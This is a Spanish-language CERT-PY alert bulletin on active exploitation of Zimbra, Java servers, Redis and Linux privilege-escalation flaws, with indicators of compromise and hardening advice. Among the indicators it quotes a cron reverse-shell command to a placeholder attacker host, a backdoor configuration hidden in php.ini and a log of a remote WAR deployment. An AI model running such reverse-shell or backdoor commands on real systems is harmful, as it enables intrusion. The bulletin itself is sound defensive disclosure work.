BOLETÍN DE ALERTA

Boletín Nro: 2023-24

Fecha de publicación: 23/05/2023

Tema: Explotación activa de múltiples vulnerabilidades en sistemas de organizaciones Paraguayas

Descripción:

En los últimos días el CERT-PY ha investigado múltiples incidentes cibernéticos recurrentes, donde se han observado ciertas técnicas y tácticas específicas, con un alto grado de semejanza entre cada incidente. Entre ellas, se destacan la explotación de vulnerabilidades conocidas de ciertos aplicativos de tecnologías específicas como el servidor de correo electrónico Zimbra, base de datos Redis y Servidores de aplicación para Java (Wildfly, Tomcat) con un posterior escalamiento de privilegios mediante vulnerabilidades conocidas de sistemas operativos. En muchos casos se observó la utilización de los sistemas comprometidos como punto de pivot para realizar técnicas de movimiento lateral en los sistemas de segmentos compartidos, combinando la explotación de vulnerabilidades pero desde un segmento interno, así como también debilidades en configuración de sistemas internos no expuestos a Internet.

En cuanto a la explotación de vulnerabilidades utilizadas como vector de entrada inicial, hemos identificado las siguientes vulnerabilidades activamente explotadas

Vulnerabilidades de Zimbra:

- CVE-2022-41352: La explotación exitosa de esta vulnerabilidad permite la ejecución remota de comandos, que afecta a la utilidad cpio utilizada por AMAVIS. Ver enlace
    - https://www.cert.gov.py/wp-content/uploads/2022/10/BOL-CERT-PY-2022-40-Explotacion-masiva-de-vulnerabilidad-RCE-0-day-en-Zimbra.pdf
- CVE-2022-27924: Permite a un atacante no autenticado inyectar código arbitrario mediante la ejecución de comandos en la memoria caché del sistema víctima. Ver enlace
    - https://www.cert.gov.py/wp-content/uploads/2022/07/BOL-CERT-PY-2022-26-Vulnerabilidad-critica-en-Zimbra-1.pdf
- CVE-2022-27925: Falla en la función mboximport que recibe un archivo ZIP, extrayendo los archivos dentro del mismo. Un atacante sin credenciales administrativas podría aprovechar esta vulnerabilidad para realizar la ejecución remota de comandos. Ver enlace
    - https://www.cert.gov.py/wp-content/uploads/2022/08/BOL-CERT-PY-2022-35-Vulnerabilidad-RCE-explotada-masivamente-en-Zimbra.pdf
- CVE-2022-37042: Omisión de autenticación en MailboxImportServlet que se debe a una falla en la función mboximport, derivada de la incompleta corrección de la

CVE-2022-27925. Esto permitiría a un atacante no autenticado subir archivos arbitrarios al sistema afectado, permitiéndole realizar ejecución remota de comandos en el sistema.
    - https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P26#Security_Fixes
- CVE-2022-30333: Vulnerabilidad del tipo directory traversal presente en la herramienta de UnRar que permitiría a un atacante realizar ejecución remota de código (RCE) con el usuario que ejecuta el servicio zimbra en el sistema afectado.
    - https://www.cert.gov.py/application/files/2516/5651/1773/BOL-CERT-PY-2022-29_Vulnerabilidad_de_Unrar_Path_Traversal_afecta_en_Zimbra_Mail.pdf
- CVE-2023-20032: Esta vulnerabilidad del tipo heap buffer overflow se debe a una falla de seguridad en la validación de los archivos de partición HFS+ de ClamAV. Esto permitiría a un atacante remoto y no autenticado a través de un archivo de partición HFS+ especialmente diseñado, realizar ejecución arbitraria de código (RCE) con los privilegios del proceso de escaneo ClamAV e incluso bloquear el proceso para desencadenar una denegación de servicio (DoS).
    - https://www.cert.gov.py/noticias/vulnerabilidades-de-ejecucion-arbitraria-de-codigo-y-denegacion-de-servicios-dos-en-productos-cisco/

Vulnerabilidades de Java:

- CVE-2016-3427: Vulnerabilidad no especificada en Oracle Java SE 6u113, 7u99 y 8u77; Java SE integrado 8u77; y JRockit R28.3.9 permite a los atacantes remotos afectar la confidencialidad, la integridad y la disponibilidad a través de vectores relacionados con JMX.
- CVE-2016-8735: La ejecución remota de código es posible con Apache Tomcat antes de 6.0.48, 7.x antes de 7.0.73, 8.x antes de 8.0.39, 8.5.x antes de 8.5.7 y 9.x antes de 9.0.0.M12 si JmxRemoteLifecycleListener es utilizado y un atacante puede llegar a los puertos JMX.
- CVE-2019-10219: Se encontró una vulnerabilidad en Hibernate-Validator. La anotación del validador SafeHtml no desinfecta adecuadamente las cargas útiles que consisten en código potencialmente malicioso en los comentarios e instrucciones HTML. Esta vulnerabilidad permitiría a un atacante llevar a cabo un ataque del tipo XSS.

Vemos a continuación un ejemplo de registro de la la explotación de una aplicación a través de una de las vulnerabilidades citadas anteriormente tal como se ve en el log:

```
2023-03-28 06:27:43,770 ERROR
[org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/jmx-console].[HtmlAdaptor]]
(http-IP-LOCALHOST-8080-2) Servlet.service() para servlet HtmlAdaptor lanz? excepci?n:
javax.management.InstanceNotFoundException:
jboss.system:type=ServerInfo/github.com/joaomatosf/jexboss is not registered.
2023-03-28 06:28:07,564 INFO  [org.jboss.deployment.MainDeployer] (http-IP-LOCALHOST-8080-2)
deploy, url=http://www.joaomatosf.com/rnp/jexws4.war
```

Vulnerabilidades de escalamiento de privilegios

En el transcurso de las investigaciones realizadas por el CERT-PY, se observaron casos donde un actor malicioso ha realizado escalamiento de privilegios en sistemas previamente comprometidos, en esta ocasión orientados en sistemas operativos linux a través de vulnerabilidades conocidas presentes como Polkit (CVE-2021-4034) a través del exploit de Pwnkit y la vulnerabilidad DirtyCow (CVE-2016-5195) y CVE-2021-3560.

- CVE-2021-4034: Esta se debe a un error en el componente vulnerable PolKit, el cual permitiría a un usuario sin privilegios poder realizar un escalamiento de estos con el objetivo de obtener privilegios root. Ver enlace:
  - https://www.cert.gov.py/noticias/vulnerabilidad-de-escalamiento-de-privilegios-en-linux%ef%bf%bc/
- CVE-2016-5195: Una función del componente Kernel Memory Subsystem “COW” (copy-on-write)es afectada por esta vulnerabilidad. Cuando se propicia una condición de concurrencia de acceso a la memoria del kernel de Linux. Un usuario local sin privilegios podría aprovechar esta falla para obtener acceso de escritura de los mapeos de memoria que suelen ser de solo lectura y así aumentar sus privilegios en el sistema. Ver enlace:
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5195
- CVE-2021-3560: Una vulnerabilidad de omisión de autenticación en el servicio del sistema de autenticación polkit, que se usa en la mayoría de las distribuciones de Linux, su explotación permitiría a un usuario local sin privilegios obtenga un shell con privilegios de root. Ver enlace:
  - https://www.cert.gov.py/noticias/vulnerabilidad-en-polkit-permite-escalamiento-de-privilegios-en-linux/

Técnicas, Tácticas y Procedimientos (TTPs) para el movimiento lateral

Durante la investigación realizada por el CERT-PY de varios casos de compromiso de sistemas, se verificó que los actores maliciosos, una vez que han obtenido acceso a un sistema comprometido, utilizan distintas técnicas para comprometer a otros activos de la red, entre las cuales incluyen:

- Fuerza bruta en servicios de SSH y aplicaciones web de la red interna, tanto basada en diccionarios como en contraseñas previamente obtenidas, por ejemplo, de archivos como "bash_history" de un sistema comprometido
- Explotación de vulnerabilidades conocidas en aplicaciones en segmentos de IP internos, accesibles desde el segmento del servidor comprometido. En la mayoría de los casos se observó la utilización de las mismas vulnerabilidades utilizadas como vector de entrada inicial, para el movimiento lateral entre sistemas accesibles desde el segmento de la máquina pivot.

- El aprovechamiento de configuraciones de Servidores con instancias de Redis y Elasticsearch mal configurados o dejados por defecto.
    - Sistemas REDIS: Atendiendo que por defecto admite la ejecución remota de comandos sin necesidad de autenticación el atacante aprovechó esta funcionalidad para establecerse la instancia del actor malicioso como master para replicar las instrucciones en la instancia redis de la víctima, en este caso particular lo utilizaron para escribir claves públicas a través de Redis en el almacén de certificados de los sistemas comprometidos posteriormente para ser utilizados para conexiones SSH.

```
359:S 20 Mar 03:49:58.265 * SLAVE OF IP-ATACANTE:21000 enabled (user request from 'id=563
addr=IP-localhost:54500 fd=6 name= age=1 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0
qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=slaveof')
359:S 20 Mar 03:49:58.271 * Connecting to MASTER IP-Atacante:21000
359:S 20 Mar 03:50:03.325 * Connecting to MASTER IP-Atacante:21000
359:S 20 Mar 03:50:27.406 * SLAVE OF IP-Atacante:21000 enabled (user request from 'id=564
addr=IP-localhost:54534 fd=6 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0
qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=slaveof')
359:S 20 Mar 03:50:28.366 * Connecting to MASTER IP-Atacante:21000
359:S 20 Mar 03:50:33.375 * Connecting to MASTER IP-Atacante:21000
```

    - Descubrimiento de configuraciones por defecto de instalaciones de Elasticsearch, el atacante ha podido acceder a información contenida en los índices de la estructura de datos almacenados en las instalaciones por defecto.

Se ha observado que en la mayoría de los casos los actores maliciosos han implantado mecanismos de persistencia en varios sistemas comprometidos, a través de conexiones TCP reversas ocultas. En algunos casos, éstas han sido establecidas mediante php, en otras en cambio, a través de la utilización de tareas programadas insertadas en cron de linux o también mediante la modificación de archivos de carga de inicio de sistemas (por ejemplo el archivo “profile”, “rc.local”, “environment” ubicados bajo el directorio /etc/).

- Ejemplo de llamada al backdoor mediante tareas programadas en cron:
  `bash -i >& /dev/tcp/IP-Atacante/8084 0>&1)`

- Ejemplo de llamada al backdoor mediante php:
  Configuración escondida en /etc/php/php.ini o similar

```
[common]
server_addr = <IP_atacante>
server_port = <puerto>
token = <token_atacante>j
protocol = tcp

[<IP_victima>(<hostname_victima>)]
type = tcp
remote_port = <puerto>
plugin = socks5
plugin_user = <user>
plugin_passwd = <password>
```

Ejecución del backdoor:

```
/bin/php -c /etc/php/php.ini &
```

Herramientas utilizadas por el actor malicioso:

En la mayoría de los casos se observó una similitud entre los artefactos utilizados, entre ellos:

- Jexboss: Es una herramienta para probar y explotar vulnerabilidades en JBoss Application Server y otras plataformas Java, marcos, aplicaciones, etc. Ver enlace:
  - https://github.com/joaomatosf/jexboss
- FScan: Una herramienta de escaneo integral, orientado a redes de intranet, con capacidades de descubrir múltiples vulnerabilidades presentes en sistemas de una red. Ver enlaces:
  - https://github.com/shadow1ng/fscan
  - https://www.virustotal.com/gui/file/675f1d8076801a64dc3c39916e52ac7b345b7d1c9454a01f270ca9796dd86f7e
- Pwnkit: Pkexec es un componente para controlar los privilegios de sistemas operativos basados en UNIX, se halló un exploit que mediante su ejecución realiza una escalada de privilegios en el sistema vulnerable. Ver enlaces
  - https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
  - https://www.virustotal.com/gui/file/0e7c96a22e3612c68866a8693cc583df95972d3444978ce163c024a45682133a
- linux-exploit-suggester: La herramienta es utilizada por investigadores de seguridad para identificar detectar deficiencias de seguridad para una máquina basada en Linux/kernel de Linux determinada.
  - https://github.com/The-Z-Labs/linux-exploit-suggester/tree/master

Indicadores de Compromiso:

Algunas indicadores de compromiso registrados de la explotación de estas técnicas:

- La creación de claves públicas en servidores linux, en el directorio de /root/.ssh/Authorized_keys para detectar actividad maliciosa, debe tener un registro de todas las claves autorizadas válidas, además de verificar la fecha de creación, modificación de dichas claves.
- Creación de archivos de shell reversa, en el directorio /etc/php/php.ini o en directorios de /var/tmp/php.ini o bajo el directorio /tmp/
- Errores de ejecución de aplicaciones en servidores de aplicaciones Java, se deben verificar los registros de auditoría en busca de errores y excepciones, o el deployado de artefactos maliciosos como por ejemplo:

```
2023-03-20 00:16:37,535 ERROR
[org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/jmx-console].[HtmlAdaptor]]
(http-IP-LOCALHOST-8443-2) Servlet.service() for servlet HtmlAdaptor threw exception:
javax.management.InstanceNotFoundException:
```

```
jboss.system:type=ServerInfo/github.com/joaomatosf/jexboss is not registered.
     at org.jboss.mx.server.registry.BasicMBeanRegistry.get(BasicMBeanRegistry.java:529)
[:6.0.0.GA]
     at org.jboss.mx.server.MBeanServerImpl.getMBeanInfo(MBeanServerImpl.java:677) [:6.0.0.GA]
     at org.jboss.jmx.adaptor.control.Server.getMBeanData(Server.java:98) [:]
```

o

```
2023-03-28 06:28:07,564 INFO  [org.jboss.deployment.MainDeployer] (http-IP-LOCALHOST-8080-2)
deploy, url=http://www.joaomatosf.com/rnp/jexws4.war
```

- Actividad maliciosa registrada en el archivo mail ubicado en la carpeta /var/log/ en servidores linux

```
From root@REDIS.localdomain  Wed Mar 22 06:50:05 2023
Return-Path: <root@REDIS.localdomain>
X-Original-To: root
Delivered-To: root@REDIS.localdomain
Received: by REDIS.localdomain (Postfix, from userid 0)
        id 6C35380257; Wed, 22 Mar 2023 06:50:05 -0300 (-03)
From: root@REDIS.localdomain (Cron Daemon)
To: root@REDIS.localdomain
Subject: Cron <root@REDIS> bash -i >& /dev/tcp/IP-Atacante/8081 0>&1
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
X-Cron-Env: <LANG=es_ES.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20230322095005.6C35380257@REDIS.localdomain>
```

- Múltiples intentos de conexión al servidor mediante fuerza bruta, desde direcciones IP de la red y externas a la organización

```
Last login: Sun May 14 14:37:59 -04 2023 on pts/0
Last failed login: Mon May 15 00:25:13 -04 2023 from IP-maliciosa on ssh:notty
There were 65 failed login attempts since the last successful login.
```

o

```
Apr  9 23:10:40 admision sshd[4300]: Failed password for root from 10.X.X.X port 53232 ssh2
Apr  9 23:10:51 admision sshd[10610]: Failed password for root from 10.X.X.X port 54884 ssh2
Apr  9 23:35:59 admision sshd[30554]: Failed password for invalid user admin from 10.X.X.X
port 59244 ssh2
```

- Presencia de artefactos maliciosos dejados por el atacante en los directorios de Zimbra con extensión *.jsp, con nombres como “heartbeat.jsp”, “temp.jsp”, “Startup1_3.jsp”, “Startup1_5.jsp”, “bak.jsp” e “info.jsp”

```
/opt/zimbra/jetty/webapps/public/jsp/
/opt/zimbra/jetty/webapps/public/
/opt/zimbraAdmin/jetty/webapps/public/
```

- Presencia de archivos con extensión *.txt y sin extensión con contenido de resultados de escaneos en la red dejadas por las herramientas de los actores maliciosos en directorios como /opt/zimbra/ /tmp/ /var/tmp/
- Conexiones a la IP 206.188.197.227

- Indicios de explotación de vulnerabilidades de escalamiento de privilegios como
    - CVE-2019-4034 (ver en el archivo de registro “/var/log/secure”)

```
Apr 17 00:19:21 hostname pkexec[30598]: zimbra: The value for the SHELL variable was not found the /etc/shells file [USER=root] [TTY=unknown] [CWD=/tmp] [COMMAND=GCONV_PATH=./pwnkit PATH=GCONV_PATH. CHARSET=PWNKIT SHELL=pwnkit]
```

Recomendaciones

- Mantenga actualizado todo el stack tecnológico. Considerando que en todos los casos se ha observado la utilización de vulnerabilidades ya conocidas y alertadas, de no menos de 2 meses de antigüedad, estos incidentes en distintas organizaciones han demostrado, la carencia de una política de actualizaciones y aplicación de parches de seguridad, que pueden tener consecuencias graves que comprometan la disponibilidad, integridad y confidencialidad de los sistemas de las organizaciones.
- Asegurar Redis en ambientes de producción, principalmente desactivando el usuario por defecto y exigiendo autenticación para la conexión, aun desde la red interna. Puede seguir la siguiente guía para encontrar algunas configuraciones de buenas practicas https://goteleport.com/blog/secure-redis/
- Realizar una adecuada aplicación de reglas de firewall y aislamiento de los servicios entre los componentes tecnológicos de la organización, segmentación de las redes de modo que los servicios claves se encuentren aislados de otras redes y únicamente se encuentre habilitado el tráfico estrictamente necesario de comunicación entre otros segmentos de red.
- En sistemas de correo Zimbra pueden usarse esta guía para verificar la integridad del servidor de correo
    - https://blog.zimbra.com/2023/04/10-steps-to-check-zimbra-server-for-compromise/
- En caso de detectarse más de un indicador de compromiso citado anteriormente, puede reportarlo a abuse@cert.gov.py.